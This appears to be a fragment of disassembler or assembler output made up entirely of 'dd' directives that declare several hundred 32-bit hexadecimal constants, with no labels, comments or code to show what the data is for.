dd 16BC7254h, 31A8A7E7h, 0E92D89E8h, 582595Dh, 0AC6BCE68h
dd 58FC587h, 0E72DB8F3h, 428792A8h, 437664FFh, 5B4B6BCBh
dd 0A3632C85h, 2FB11F00h, 5776AE2Dh, 0F1350475h, 0EFBA59A8h
dd 36687702h, 83E5554Dh, 163FE986h, 0D2F72C0Ah, 12A027Ch
dd 975BD90h, 25DCECFEh, 6664E47h, 285638h, 0DDC98159h
dd 9072966Eh, 6D44028Eh, 0F901470Bh, 4EF12460h, 0B7C0E913h
dd 0D43837ABh, 2CDBFDBDh, 8D099C8Fh, 0F2D9F112h, 0CD448762h
dd 9095B97Fh, 13E581F9h, 974A11h, 2B03C579h, 3EC94BF1h
dd 749E0021h, 0D116852h, 5AF81B22h, 0F1C86F26h, 6C978442h
dd 6D5C2D15h, 94F5A54h, 40B56232h, 24DA289Bh, 0E635B66h
dd 96628007h, 65E14C2Ch, 0E882DBB5h, 8FA4F8C1h, 0CBCA31F9h
dd 16A65659h, 644CFD5Ah, 0A3C00709h, 0DF1E47F7h, 9E8B420Ah
dd 9DF4E5E9h, 45E66806h, 0BD242597h, 1090CC16h, 0E6F43041h
dd 0DBD0555h, 8056A009h, 9B515E3Dh, 20E9053Fh, 4CD9E07Bh
dd 4D585380h, 0C09EE2Dh, 0FE8B96F5h, 0BF57B241h, 0AB557C8Bh
dd 12611659h, 522077FFh, 25BCA9FBh, 9631B5Ah, 0B730E90Dh
dd 10495C5Eh, 972F1286h, 0BE566130h, 0FD169B1Fh, 0D300EE66h
dd 0E97C3A7Dh, 0B3D84B77h, 765225C7h, 0E9325A0Bh, 0E918574Eh
dd 0BA42B49Bh, 0B3670078h, 895EB90Ch, 0C29511B1h, 247D560Eh
dd 3899036Ch, 137F73FAh, 5181C339h, 76A69C0Bh, 0D4040313h
dd 28EBA048h, 0B24078FBh, 3989733h, 5E8162FCh, 0C255BFD9h
dd 3B82681Eh, 80450D19h, 0C2D8E4F2h, 80829D3Dh, 0A5F16E05h
dd 9390F720h, 0C6123B25h, 46FD0C2Ch, 3E4E79C4h, 0C992803h
dd 81386850h, 4F7C0880h, 0FC0BBFD3h, 5D08A799h, 0C4F25762h
dd 5228C9B3h, 372006D8h, 0CE0128F4h, 0EFC797BCh, 0FA2DF222h
dd 4E51181Eh, 0EEE1C2FDh, 4AC15734h, 0EC88DA29h, 0F0E90908h
dd 52701F0h, 2F207B02h, 7F8FAC87h, 9D2A1133h, 6E8BBC74h
dd 2DF7F169h, 80A5F6D5h, 5D51C054h, 436E9DCh, 17F4D4Fh
dd 14F3C4D9h, 0A0108808h, 4B0C64B5h, 0FB190F0h, 0A2C1800Eh
dd 0B809B344h, 1937C5B0h, 21C558ECh, 5E2EB285h, 262C64D2h
dd 6813BD01h, 388C4BA3h, 0C5803F18h, 8825284Bh, 8E50EF39h
dd 0EBD4F6FCh, 759057E7h, 325BA268h, 0E9A17AFDh, 2125359Fh
dd 0C1776A2Eh, 55CBFDF2h, 9A2755C7h, 75D40939h, 0EE018AA2h
dd 6DB8E9C1h, 2C7F0E0Dh, 52F80164h, 46FDADB2h, 62A9A254h
dd 0A01AF981h, 815A801Ch, 0C15C581Fh, 3550B7EDh, 78687601h
dd 7B2BE971h, 0C79EE33Ch, 69E87DCFh, 7FEAE300h, 91D9C10h
dd 902071E9h, 0FE283528h, 0DEB3EC3Ah, 101C880Ch, 7952030Dh
dd 8E0F1FF0h, 4C4BFBE5h, 5D07ABC6h, 88C4700Fh, 0E2FDD79Eh
dd 12750BD9h, 0A147CCFFh, 313F9268h, 3CA6BA8h, 7753F155h
dd 58E27674h, 4C741003h, 510EFD28h, 0C80B88B1h, 2C1DFA5Ch
dd 5258A5E6h, 80EC17B6h, 0E87905EEh, 0BB354999h, 0EB011DF9h
dd 1B820A59h, 0B2125B68h, 0F11D9074h, 35137F06h, 7D10DA29h
dd 3BFC4F08h, 5D0EBD4Ch, 29680B9Ch, 84D5F709h, 96C06776h
dd 0BBCD016Dh, 0C0502D0Bh, 39B85000h, 9258623h, 711097C5h
dd 7B9D2AE0h, 6B9F420Fh, 0D2DC5DDh, 3CB0F13h, 6B99E2D6h
dd 6070F053h, 0F875D9Ch, 648F972Ah, 0A2CA9EC7h, 12FBBD5Ah
dd 35E9922Ah, 3F05BB92h, 44EB76AAh, 0F2F7F948h, 93447F07h
dd 3225615Eh, 0F2F7EF8Ah, 0F2B1487Fh, 195702CAh, 0F450E9D9h
dd 0F32E4657h, 207F21FDh, 7B7A2DD2h, 0A53DCE3Eh, 0ADD501C3h
dd 0E76CD831h, 0FC2CFED2h, 0D3150CDEh, 0CBF84208h, 0D53D5C81h
dd 0CACE9413h, 0B1494FA8h, 5C932959h, 52521ECAh, 5E65818Ah
dd 1A952E05h, 2F9CC608h, 0BA0113C7h, 603837B0h, 56D077Fh
dd 18E870BBh, 0CF54BCE9h, 5F63A693h, 0E29BB10Ah, 0B70B589Ah
dd 3DA85AF3h, 974B330Eh, 1AE2C00Bh, 5C6B4577h, 0ADD0094Ah
dd 92DBE51Ch, 0DC3F843Dh, 0CA609096h, 6A74F2F5h, 0F54D48F5h
dd 0D60004Bh, 4F7C3538h, 0F8418D90h, 0F556B46Eh, 8E657301h
dd 5DEE31D7h, 54210861h, 0ED12D339h, 913C0406h, 0DE5CF9C4h
dd 0D984C2D3h, 2FA200ECh, 0F681BA48h, 0D80E273Bh, 0BDEE03CDh
dd 170332Eh, 8CD7A318h, 7CECE9B8h, 4888264Ah, 694B0E16h
dd 0CEBC5554h, 959F395h, 81F970A9h, 0F1F85CC4h, 0A98AEEE4h
dd 5C96EE23h, 0BDD374ADh, 9932131Fh, 0C487D5B9h, 0BA29DB02h
dd 0EF595874h, 0B02FE908h, 0E35B2095h, 0BF139CB8h, 5282B8C2h
dd 76B4225Bh, 0C98CC29Dh, 0A8A6295Fh, 0DEF75844h, 82E004D9h
dd 9212EFFCh, 0F3874856h, 0BFB20C2Ah, 0A2280645h, 4C65D720h
dd 0B410EF4Fh, 0A0B20960h, 43E7DC50h, 0D11069FDh, 0A35B7FC4h
dd 0DABC4B7Bh, 6CF45489h, 54180BD3h, 945D28E9h, 0DE292740h
dd 1303D6Ch, 3E7AD2C6h, 632B5F6Ah, 0A3D599FCh, 0FA8807ECh
dd 0D744D2F6h, 5F955684h, 0D2DA8ABFh, 0C1389543h, 5D3A279Ch
dd 5862D454h, 37FE09EEh, 1129302Fh, 0FEE957Bh, 73124A6Fh
dd 3AAE4BEEh, 0B033B768h, 4BE82180h, 31C0AD5Dh, 0D5E9F708h
dd 3CBBD7CEh, 447F30DAh, 0D2A6245h, 0E97CCF87h, 57511F3Ah
dd 72C95F9Fh, 0C2385CB9h, 0BA00CC05h, 0B5AC4DADh, 524FCDE0h
dd 315E0109h, 7E028BEAh, 65E989A3h, 124A9EF5h, 0A2821B2h
dd 0DE15387h, 7E97F245h, 202A8C8Bh, 0CD2927A2h, 8588B945h
dd 9E6806CBh, 0E62F1527h, 9F6C1EFAh, 2B95C5C4h, 14D09AFFh
dd 96692941h, 0F79787E3h, 0E0D132D7h, 0CBE9BAA1h, 5A228080h
dd 52C2BE56h, 0A6504A6Ah, 4D863904h, 0AA6410EFh, 6948854Eh
dd 0BF8C6B22h, 33D56249h, 546559CBh, 42ACE989h, 789B5501h
dd 88727BD9h, 935C7D75h, 0BD2900CFh, 590BEC7Ah, 5702369Bh
dd 0F5C37EE9h, 0C2DC6BAFh, 0D314D7CEh, 0F627167Ch, 96E96273h
dd 18B90668h, 20026213h
dd 330015ACh, 0C3813615h, 0A32E55ACh, 0E9854619h, 48B925E1h
dd 9E7A860Bh, 3069F58Eh, 0D901F246h, 5A378355h, 71E0EAD1h
dd 0A5599D75h, 45504682h, 6989FD3Dh, 0C68029DCh, 5632E416h
dd 0BD589831h, 83892092h, 3B95A975h, 0F9DB9F0Ch, 0FEE96203h
dd 0AD7907EAh, 17E53DB7h, 9E5A29B8h, 0B3471091h, 2EFA064Ah
dd 0C32F35F9h, 2BACC58h, 7D5D6402h, 3282CB31h, 0A3DA98D4h
dd 4C9EC320h, 0FB04FC5Dh, 0AA135C56h, 0BBF77704h, 832DAD00h
dd 227BE41Bh, 1BA2362Dh, 7BFA0Ch, 134504B9h, 4C21E9B0h
dd 0B051261h, 385F0C22h, 342BFE5h, 0E938C73Eh, 45099994h
dd 5CFD69FCh, 0B10613F9h, 830D839h, 6817455Fh, 87FC6280h
dd 0C4416212h, 0E75F8B98h, 5B2F082Ah, 5B465017h, 0C0BD2D58h
dd 3507E09Ch, 0FE099DCAh, 0F4C229DFh, 9052C4A1h, 6871A7F0h
dd 63E3C68h, 5FD5A1Fh, 506D6035h, 4FB287D0h, 873A0CE7h
dd 4A0645EAh, 0B4E2D124h, 90B8BE0Bh, 2C432D87h, 0BBDC7160h
dd 0D6C5C9CAh, 0E817100Fh, 0FE8BD5A3h, 5B76EF54h, 400D96E0h
dd 97BC55E4h, 9BE80C2h, 0F89D125Ah, 975DF8B3h, 3255EBE2h
dd 68E22A1Ch, 0E6FCB412h, 106CF74Fh, 0BA016C81h, 1790844h
dd 88B32B74h, 25060C41h, 40F39077h, 0C377215Ah, 0CFF10A4Fh
dd 4B9F6F62h, 730879Fh, 38FF9668h, 0B7A0C4C3h, 83D0016h
dd 174C64Fh, 40BDCA48h, 0EC15908h, 67BD7DA5h, 839658FEh
dd 9F1C1C08h, 97359257h, 9AA049FCh, 0D31D4868h, 9AC15EFEh
dd 0DD6E1A22h, 9E5D44FCh, 0D01B92A5h, 0DFB6C1C9h, 89D4FB17h
dd 93E91D90h, 1852A0E7h, 7CF1302Eh, 0F23A8976h, 2AF58051h
dd 83C8A9A3h, 0A0885F3Eh, 77209D02h, 1C1EC0CBh, 0D37D6090h
dd 0A16C4E20h, 9E680B2h, 59BBA182h, 640B24E4h, 4432C2Dh
dd 61FFC12Fh, 164C7376h, 71919810h, 8F23A09Dh, 0ECBF81EDh
dd 47589575h, 484104C4h, 81AA7015h, 4D1D88Bh, 80DBC1FEh
dd 14E168E3h, 69AB1E04h, 9A048373h, 0DA98C29Ch, 0BFCD06F0h
dd 0C50823Ch, 52030B09h, 0D03B8034h, 2EA17FECh, 12D1E929h
dd 601B3DBh, 78467D58h, 8E983D0Ch, 0E3DEFDADh, 0B0124ABEh
dd 0B26FFBA1h, 6FE9C207h, 0B5CFC615h, 0FEA7F445h, 6046495Eh
dd 0F21F322Fh, 61CF3073h, 0FBE8C6D9h, 0F8EEF62Dh, 0BDF380A4h
dd 2FD93433h, 0CC54BB0Ch, 76DC201Ah, 589C3380h, 0C9B9A808h
dd 0C24FFC97h, 3292C29Ah, 0A571AFBFh, 70ECE283h, 0FD1158C4h
dd 0E094109Eh, 81425F25h, 6E270D5Eh, 0EA029DB0h, 0C0097822h
dd 0B0212B6h, 15B253Fh, 0A7148F6h, 0B684132Ah, 7E06136Dh
dd 0BF351190h, 0D3AF2D5Ah, 2B57D2C1h, 0F70CA344h, 929F70E3h
dd 0C097A1F0h, 0F60559CAh, 0F2C280DAh, 0F801D4D7h, 0CC25E704h
dd 82E9A76Bh, 8130B151h, 0D1F6B2A4h, 0C17E917Fh, 28BCD09Ch
dd 0F3B660B5h, 6182F2h, 37680058h, 28AE2653h, 0D3C16279h
dd 0A094E657h, 807B5CF4h, 0D89DE189h, 9A71EAD4h, 0B3C84B64h
dd 39EBD6BCh, 0CA9C38D1h, 0E3A6F729h, 0FA1E9603h, 0DAD0D915h
dd 0E160500h, 0F6708D26h, 0E140B313h, 0C08A50Dh, 400BB831h
dd 627034A8h, 0BDABC350h, 0A3440981h, 8F05CF00h, 27401B57h
dd 0F67CC789h, 5A667472h, 427C255Fh, 520033E8h, 15506856h
dd 8B6F19ADh, 0DFE92232h, 81CC0A14h, 0BA5D25E7h, 0C60C931Ch
dd 0E9213203h, 0C993D478h, 0F2D1BAEBh, 2ED87E68h, 9F5B918Dh
dd 0EEC089C2h, 7ECD9677h, 7F5C816Bh, 94CBDD28h, 0E6FD59D4h
dd 8DC2BF7Eh, 0B1B2D57Ah, 54275591h, 0BC80EEAFh, 4BEA5F45h
dd 0BDFD3055h, 1E1D1B4Bh, 1758E965h, 74E0BA5Bh, 0F4A055Fh
dd 0FEC4458Bh, 40B1BB28h, 0E0258A60h, 26E0785Dh, 1AD05BB7h
dd 434CD5F4h, 0F549B3F8h, 6A059242h, 15C9E609h, 10D860FEh
dd 5AD52D89h, 33491B58h, 0EF7810CDh, 4EFB777Eh, 809CADECh
dd 2BB5396Ch, 0E8DF5EF7h, 0F4F0535h, 2F9238Dh, 397DE703h
dd 0F7B01E69h, 0AC1824D4h, 59E05A2Ch, 0C227C05Dh, 6CAD461Ah
dd 30C5997h, 0DA88D88Ah, 5B5AD490h, 80C2664Ah, 5488F828h
dd 7E058452h, 789B3D2Ah, 0AFC7611Ah, 0CC51B204h, 2200B9F4h
dd 0BB190102h, 1350CE1Ah, 0FACB2987h, 4F31DB2Ch, 0D4CDE3D8h
dd 0AFB91352h, 0E88849E8h, 0D7E34230h, 60FD2C46h, 190B25A4h
dd 82C63277h, 416E273Ch, 0BB00D44Ch, 25095F0Ch, 0DDCB3155h
dd 241B3E03h, 0C5DE87B4h, 9333B8B3h, 6A9C7801h, 947B1FE7h
dd 0C08189Dh, 5A3912BCh, 95E91D2Fh, 0F2BEB1B0h, 0EC9C018Bh
dd 6F7A4E05h, 2DCB7019h, 20E907A0h, 4D35E69h, 0D6AEC3E4h
dd 4B020C2Dh, 116A664h, 0BF5761D3h, 5C312470h, 0D920C011h
dd 0AF547397h, 0E912B75Ah, 0C3F8C6EDh, 5C0458B3h, 5CA74305h
dd 548EE487h, 9B284E08h, 7CC36929h, 31866203h, 3C9AFDC4h
dd 70C4DAE9h, 71C97FC1h, 0D28B1970h, 3DF0BD3h, 0BBFC4184h
dd 2CF035D9h, 7166BED0h, 93A03A29h, 39E158D2h, 0B0214B2h
dd 0EC2D057Eh, 0B48CB5C1h, 985EBAEBh, 0DB1427BBh, 7901732Bh
dd 30891644h, 5B4E3554h, 0FE124B8Ah, 1307ED19h, 50F4F9CDh
dd 0BD2240A2h, 0B0C27ABDh, 0EC5D5E6Bh, 0F1420F7Ch, 0BAF03725h
dd 0A0D29533h, 250CDBB5h, 68840776h, 89BA1C0Bh, 2B54E932h
dd 447BF03Dh, 0CD4004h, 4B71A4B8h, 5D439D50h, 0EAB70640h
dd 7B5D740h, 0C0C5FE9Ah, 8777FBEDh, 690860E9h, 27170FCh
dd 0E43C672Ah, 1794B88Fh, 0E8ED1F68h, 409DE48Ah, 5EBF02EDh
dd 0FE21A627h, 0D45745C9h, 0C58DE2CAh, 66EA01DDh, 68127085h
dd 6AF32AC4h, 0B332D300h, 9647BF03h, 292C7B17h, 5BD7A0B2h
dd 47825727h, 4F068B60h, 9E57E917h, 7E40E5F5h, 0BF4CACBh
dd 5BDA09F8h, 7A7E94F8h, 0C90076B0h, 50C308A4h, 8A54FCE9h
dd 0A9CD1482h, 48E5BA00h, 0F74116A1h, 8063A9DAh, 0AE2CC4F2h
dd 0D668BD46h, 5180EC11h, 13DEC250h, 0F5E2167Fh, 377C70ABh
dd 0B0E9C072h, 480F0425h, 0A97379E9h, 52AC07E1h, 12BFA88h
dd 0EB285B19h, 7B3CF63Bh, 0F03C1B41h, 8D33502h, 3E7426A0h
dd 90365112h, 0E6A2BF7Eh, 0E066ED5Ah, 75DB67A0h, 81721700h
dd 776804F3h, 870F3915h, 0EF504C59h, 0F1909756h, 8A3726B5h
dd 91F38FDCh, 0E7CD0215h, 0D117346h, 0B35A460h, 64873Eh
dd 5F58F7CFh, 0A4BD5576h, 92C097DDh, 11C937E9h, 348703C0h
dd 58C281C1h, 30132C28h, 6544FFC3h, 9DBBA020h, 23D92BA8h
dd 575CD76Bh, 6F85421Eh, 728085Dh, 0E98EE90Bh, 7DECEFE1h
dd 9C3958FEh, 5D82503Ch, 8E70E994h, 0D1F5C3A0h, 62BFE828h
dd 66822FB2h, 0FB0622EBh, 0C387CA47h, 0D7EE065Dh, 0E985FCE7h
dd 31FBF05Ch, 1ADE41Fh, 2B71FE01h, 90840FB5h, 565E46ECh
dd 79AA0E9h, 0FA055800h, 1063A77h, 252D42F8h, 52AD295Fh
dd 86564C00h, 5704210h, 0A65FD12Dh, 7C328B81h, 0F3DAEB04h
dd 8817F85Dh, 6D4D8C5Bh, 0E9AC5240h, 987A8B7Bh, 2655B208h
dd 0F88F280h, 0EEA9E953h, 0F6EBD854h, 5EF65206h, 7BE9123Eh
dd 1E533FA0h, 0EC567968h, 30481FDBh, 29F5EAC7h, 344E865Ch
dd 61BEF134h, 20795BEh, 9A39D466h, 684013B7h, 0DC125F85h
dd 0A3022954h, 901C4709h, 5EAEE9A3h, 0A0FB57B2h, 6CF66B88h
dd 0B20115Eh, 0B777D068h, 5C71F459h, 0E9089E4Bh, 0FC2820B2h
dd 0FE88C800h, 3EEC05Bh, 0E9D609F6h, 10C9CE01h, 0D2CCE12Ah
dd 5AFA274Bh, 0DC61F642h, 21F9D4F5h, 3179C490h, 4F454D12h
dd 34F2BF01h, 9E344947h
dd 1FC102EFh, 0A4E93FA0h, 7DD40977h, 29104B8h, 6D28F589h
dd 0CAF204Bh, 0B760B1FDh, 4112A9C4h, 13E9163Eh, 0DEC22284h
dd 0F427C656h, 25E4A0ACh, 0ECCC15C1h, 0D79E4B31h, 0C8E2CDF3h
dd 9CBD78A6h, 8D38939Bh, 502C7B62h, 87F89D54h, 6329F100h
dd 0C1D2F777h, 810607EAh, 215047CAh, 7A1EE92Ch, 41B8BB53h
dd 0AF18C44Bh, 38F96029h, 0B2BE1D85h, 21CDC217h, 0A0F455E2h
dd 0B100A12Ch, 0F727ED37h, 957CC0DBh, 311D1293h, 405AD32Fh
dd 12892DA4h, 0AF101FBDh, 0CBF84875h, 0D8274ED4h, 2F5AD639h
dd 0F8E37052h, 41D75628h, 431880A1h, 817B9C1Fh, 37590BE5h
dd 500A3D75h, 0E8BA006Ah, 0E901C6EBh, 4A6CF4B9h, 7F53411Ah
dd 0C9E43B81h, 6030601Dh, 404E36A0h, 780C832Dh, 6344BFC3h
dd 6FECE92Ch, 16BC79A4h, 6090AC9Fh, 481E5E55h, 44044869h
dd 802A981Ch, 0BD296D3Fh, 1CC84958h, 7D5F30B4h, 0BD3F100h
dd 3B8736EDh, 8E1F7D9h, 33C1DCE9h, 0F36813FAh, 532502A1h
dd 142EDB7Ah, 0F468D5Fh, 269E3EA6h, 3C0BAAB9h, 8460F929h
dd 7B926125h, 8E82E926h, 4715C340h, 293214CCh, 841FBCBh
dd 29C14962h, 0EEEA68C3h, 0AD124CAFh, 3E5837DCh, 64841BB1h
dd 71590C83h, 66012D22h, 381702B7h, 235A7E9h, 824DA32Eh
dd 0F5B497E9h, 51FE4194h, 0BDA4488Ah, 52602BAh, 5B3FE918h
dd 0E557CE99h, 125BCFB3h, 528506E8h, 0C0F293A5h, 3FE5C9CCh
dd 4C2CAEA4h, 0EBD36A90h, 15B6C675h, 0E3E3F95Fh, 29272D5Ch
dd 4F468122h, 0F3B3CA0Bh, 5F029192h, 404C652Ch, 150025CBh
dd 0F76A53Ah, 89859082h, 762A2DCEh, 0F73CD709h, 0A860F46h
dd 0F42708C1h, 0E9325624h, 57050B9Ch, 7B5D9869h, 0BADAE708h
dd 0EE0CF396h, 0CB3A9E69h, 9CD74C52h, 0BF088729h, 30C7284Eh
dd 0F5BFF061h, 0FC0128D4h, 590E2D85h, 54617141h, 0B94AE601h
dd 0B0C81341h, 6FF876FDh, 685D0924h, 87514494h, 1A08BC26h
dd 0C5BB3CA4h, 137EEEA7h, 681283A8h, 24342773h, 0C87B74FEh
dd 0A7C26CA5h, 7D5EB353h, 71881682h, 0F6BECEF5h, 792BD057h
dd 2C1830Fh, 9AD7F089h, 60E7D44Fh, 93685650h, 12B80517h
dd 4A0FBFACh, 8920B931h, 0C818E9F0h, 0FEBF54C0h, 9D06CA62h
dd 5F4AEA5Ah, 0E8E90961h, 2C80CA54h, 1FCF727Bh, 4BCB896Dh
dd 683BD808h, 756871D1h, 0F74E6075h, 0C679D675h, 374A4CF6h
dd 0B80348F3h, 384B6740h, 774CC2CBh, 5B4A496Eh, 0C3F4A19Dh
dd 0E5FB9EFh, 4F4B489Fh, 7A5996E2h, 3F5AE049h, 7DB40216h
dd 59CAE945h, 478922D5h, 448E5453h, 0A21D8820h, 2B4D41h
dd 0FE0CA0B6h, 0E817B873h, 2FA853Eh, 7FE95D3Ah, 0BC9793D8h
dd 0F9E8971Fh, 0A3C0791Fh, 0F452ABF2h, 0B0D9862h, 42E636BFh
dd 23AA4286h, 5D63E107h, 0E7B25C1Dh, 8BCE7F99h, 68414496h
dd 0E22E353Dh, 9425C40Dh, 0FC4B44ABh, 8ACC1E3Eh, 7004175Eh
dd 51D80B2Ah, 8480E4B1h, 6D35E9CEh, 0FBB5380h, 41FC5928h
dd 0A8F52E65h, 0D009A1F9h, 80CB600h, 0FE5AF70Fh, 9D0B84CFh
dd 0FC5753BEh, 50C7436Bh, 0B649B725h, 5D58073Bh, 4FA2626Ch
dd 88BC567Fh, 0AC398967h, 14428BF7h, 0F25B057Ch, 4E8A9165h
dd 0BFC699EDh, 469D324Ch, 15B567A5h, 0FFF85451h, 510B1D87h
dd 0C6FE63F5h, 0CB890495h, 27DAA263h, 9F88CC1h, 4DE30A81h
dd 3EE68C6Bh, 39CFE785h, 6806AF90h, 5C717DE9h, 8B444C92h
dd 0B75318ACh, 80E18462h, 1387C55Eh, 38DB877Bh, 5A5BDD02h
dd 0DC8A2D92h, 0F705B44Eh, 75CD68E1h, 6221DBDDh, 0C93B1431h
dd 6D430A4h, 619C4817h, 31AC1A01h, 0B200238Eh, 37C5019h
dd 543ACF05h, 1FF43D9h, 4098BC7h, 2BB12EA0h, 0E4E2D93Ah
dd 1A6CD1E9h, 48D6E20Eh, 20816BCDh, 0ED306B76h, 0D8712868h
dd 252FC642h, 2ADE1D72h, 6E41BE40h, 0F11A4AFDh, 1CB640DEh
dd 4307CA13h, 0FE9EA31h, 6521687Ch, 88896CDEh, 17B0D361h
dd 0E17ED141h, 3ED2A23h, 4EE91240h, 0DC8C1385h, 3FEDEC0Ah
dd 0BC580BE7h, 28254B20h, 6839F4D9h, 806F03D7h, 0E7997EC7h
dd 7FCA21D2h, 53AD7717h, 3A755A8Bh, 0BDA0D03Bh, 2E5046EAh
dd 812E916h, 0ABBD24FAh, 60DFCF50h, 4807BA52h, 8380BF91h
dd 70F83CE4h, 0E34017FCh, 9494EC50h, 25EA2CA9h, 86107B58h
dd 0F85B933Eh, 0C584F4C2h, 0F5210C83h, 9DF7C9A4h, 2865600Bh
dd 0EE8C181h, 116CC831h, 0BE5B57CBh, 1E2D6884h, 5D27D314h
dd 2513C211h, 965F2D7Fh, 58B210BCh, 0BDD45F5h, 1704E0D3h
dd 0A03C4B39h, 5947ABC7h, 0ED811865h, 0E4E90DAAh, 0C5FFAE60h
dd 58CD069Ah, 0AC05E425h, 0F1B590ECh, 9F998810h, 213B2C71h
dd 0F4B03E6Eh, 0FCCFEB3h, 3188016h, 817657B4h, 6DF6EC24h
dd 5A05F4E0h, 0E33015B3h, 0AA219699h, 6B2DF02Ah, 0BBB66290h
dd 0C229DC2Dh, 0D1004A71h, 9FC23BEAh, 8C5B7B70h, 0F420B349h
dd 22574B20h, 57F029E0h, 9F113023h, 7912575Eh, 0D744C4C8h
dd 7F26BC5Bh, 97CDD888h, 42D22599h, 0A9292C45h, 0BA9E762h
dd 0AF50C8E9h, 732C0593h, 0B1E95130h, 0BFEDB5F8h, 15662EA5h
dd 0D72113D3h, 0F7F8F08h, 4CC43EB6h, 5E28FA83h, 49D88814h
dd 7D8A8082h, 0C90DC43Ah, 0E14E5A34h, 14918950h, 8F69CC41h
dd 0E9A0D14Ch, 22CB7A26h, 0D694D55Dh, 0F7DC41AAh, 76BB63C3h
dd 0C5195A53h, 0AADDBBF6h, 0D0E9A310h, 0E4D0AA76h, 0C3776BCFh
dd 45EBE37Bh, 0B95101F9h, 0C27B5350h, 5230C1CEh, 0B6EE556Eh
dd 0B5E12FF8h, 0D04985DCh, 5B3CF0B3h, 406F3FEh, 0B14AF15Dh
dd 0C823D2AFh, 0C87B9885h, 1F17AEABh, 6AEC5B45h, 781E3D01h
dd 0C1870F3Bh, 0F37B8Ch, 0C3CA8081h, 0FFE26A5Eh, 0EF84FE90h
dd 9D061668h, 9F927502h, 0FD4665F1h, 9EE93E3Dh, 5A8905Bh
dd 802F850Fh, 0F4505A58h, 95F1DB5h, 0C5C39D3Dh, 0FFCBF7B1h
dd 0A1228A71h, 0E6E70B28h, 0C19F61FDh, 0C22FD9A0h, 0C0405B97h
dd 17133E99h, 4EFEE946h, 74C4554Eh, 0C6EFECBEh, 0D5F8503h
dd 825892F6h, 8F63D28Fh, 71F301C1h, 8808050Bh, 55D63966h
dd 0D83E6A9Dh, 0E927F017h, 0D7238965h, 6BF85734h, 0E98403BBh
dd 5D05E281h, 93FEC87h, 0F43A0457h, 0B93409E9h, 2CCC9075h
dd 0AB6D95A0h, 44E880A5h, 510CCE11h, 0E53A9221h, 8D53CC28h
dd 5CBD803Eh, 994E2815h, 1F36204Dh, 0F1814FB1h, 59CB8869h
dd 5876C3D8h, 5D4CE630h, 703CE34Ah, 20EEF84Ah, 0CF51E957h
dd 4BA54494h, 0D0D3DA11h, 0F6871D3h, 5E65402Ah, 0FC563369h
dd 5212E0ADh, 0E57D8A7Bh, 3B39AA25h, 0DA61AA3h, 116A020Ah
dd 0E15F61EAh, 0F160F720h, 8055C315h, 0EB9965E3h, 2CC2972Fh
dd 0E9B7D302h, 0B549501Dh, 0C3F40FC4h, 18992A92h, 0E18FE9E1h
dd 48BA603Eh, 4302A72Dh, 27E94E3Eh, 3A7A4C71h, 5D636988h
dd 0D73B50CAh, 80093FC5h, 0E8895F45h, 5061005h, 0F8291D74h
dd 2807142Dh, 0E750104h, 3F11C06Fh, 40E5FD09h, 313264F0h
dd 165E7A49h, 57046939h, 5B00DBB8h, 0C003782Dh, 28106A4Ch
dd 595A0705h, 0C987F12Ch, 0EC8201B9h, 70B68F8h, 0C533909Ah
dd 0DD76D9CBh, 431EE207h, 1D82D059h, 5558A14Fh, 0BC408B71h
dd 3A08E427h, 0BD8563BAh, 0ADF2014Fh, 13854F7Dh, 39668ECCh
dd 6889F9F7h, 0A6E0E4Dh, 0E146B534h, 53A092ACh, 744025E9h
dd 92C70B0h, 0F98858C7h, 0F4E8AA02h, 52D95E05h, 0FA2D0943h
dd 356D6F0h, 0FBC18141h, 68B0A688h, 9114EA2Ah, 8EF2EE20h
dd 0B6B963Ch, 969B6C62h
dd 9215B4C1h, 1785963Bh, 0B0D83AADh, 0CF837577h, 0E9C0B65h
dd 40CB41A2h, 0D879DEE0h, 0E1814F0Eh, 271204EBh, 0D35941EEh
dd 8914F46Ah, 84490844h, 5DAE5175h, 599C68C5h, 665029C8h
dd 71C6E6A2h, 0B6F04B20h, 903B101Eh, 680C6B48h, 658B5FB3h
dd 2D40C65Fh, 54744361h, 0C70EC14Ah, 8016C341h, 8A1B550Ch
dd 0A4D589F9h, 7D80B72Ch, 73F7BF57h, 0DA569024h, 91D9BA00h
dd 926AE9F5h, 6BF8BDAAh, 8B3D45B5h, 6D785FE9h, 0D830AC02h
dd 4129B753h, 0E660C24Fh, 1BCB9CAh, 3BBA3534h, 4641CC52h
dd 25E81C4Eh, 0E3B9BE05h, 1827E9AEh, 0F1D3F482h, 5016F292h
dd 475FD76h, 0E9D41F21h, 0FB3A0BCh, 31C8805Eh, 9D1CBAB0h
dd 0CA20F8CFh, 0D6D1B14Bh, 9663D40Fh, 78145B31h, 0D2BF059Eh
dd 0B27E9D68h, 0D857B901h, 857EFDCFh, 0A3D3944Dh, 42A25F8Bh
dd 2AC4FF3Ah, 0B26E4541h, 6CB85E9Ch, 12842584h, 0BB7D34BFh
dd 7255A900h, 6B351074h, 2A710B51h, 5A8EE12Dh, 0BEF32620h
dd 1E562DF8h, 6D92330Dh, 0F20016Bh, 62634084h, 7BAB1C42h
dd 830B3DDFh, 257FDEB0h, 0E7E25056h, 0C9BD2065h, 2F0AD326h
dd 0F74B5D68h, 1EEC3F9Dh, 0DE3D7B40h, 0DD892DF5h, 0EB64DD71h
dd 6ED02DFBh, 417E33E0h, 59596086h, 0CA2BFE41h, 0D5B0793Eh
dd 0F4976A5Fh, 566B360h, 7AD5A06Fh, 0E6D58ABAh, 0C7CA77C1h
dd 743F2C16h, 0F712BE92h, 27F369FBh, 0C2502654h, 0F468FB02h
dd 18665562h, 74A9E89Dh, 74EB2FAh, 6F0B279Fh, 0F3CBBF56h
dd 1062F8F4h, 890F01DDh, 56AA5274h, 44AF7E40h, 0BE7A200Fh
dd 96B781A4h, 0F03BC08Bh, 0E2405A08h, 4BA8EC52h, 109DA3D6h
dd 2D027F6Fh, 6EF96C2Fh, 0C587D882h, 0C448E901h, 5E79DC7Eh
dd 5693AB95h, 9407C220h, 7603360Ah, 603E374Bh, 0D4250468h
dd 42613306h, 95682D0Eh, 0A620CAC1h, 0A746024Ah, 43CDE901h
dd 0B65ABE5Ah, 75DF4AB9h, 873AED1Fh, 8540F0B0h, 5B1A860Fh
dd 7800B906h, 0D8B98B5Eh, 18D51069h, 7127EEA9h, 17D0075h
dd 3EBD55D6h, 187E1358h, 425CED01h, 0E5D16756h, 25E957D0h
dd 25A649F6h, 539D876Ch, 60343E97h, 0E1FBA119h, 3E51E258h
dd 81D0B488h, 25AAF5F7h, 75E56F68h, 45B4A57Fh, 0CA51D085h
dd 8A586F8Eh, 3BC20051h, 1F24EE7h, 69204C57h, 0D72B3434h
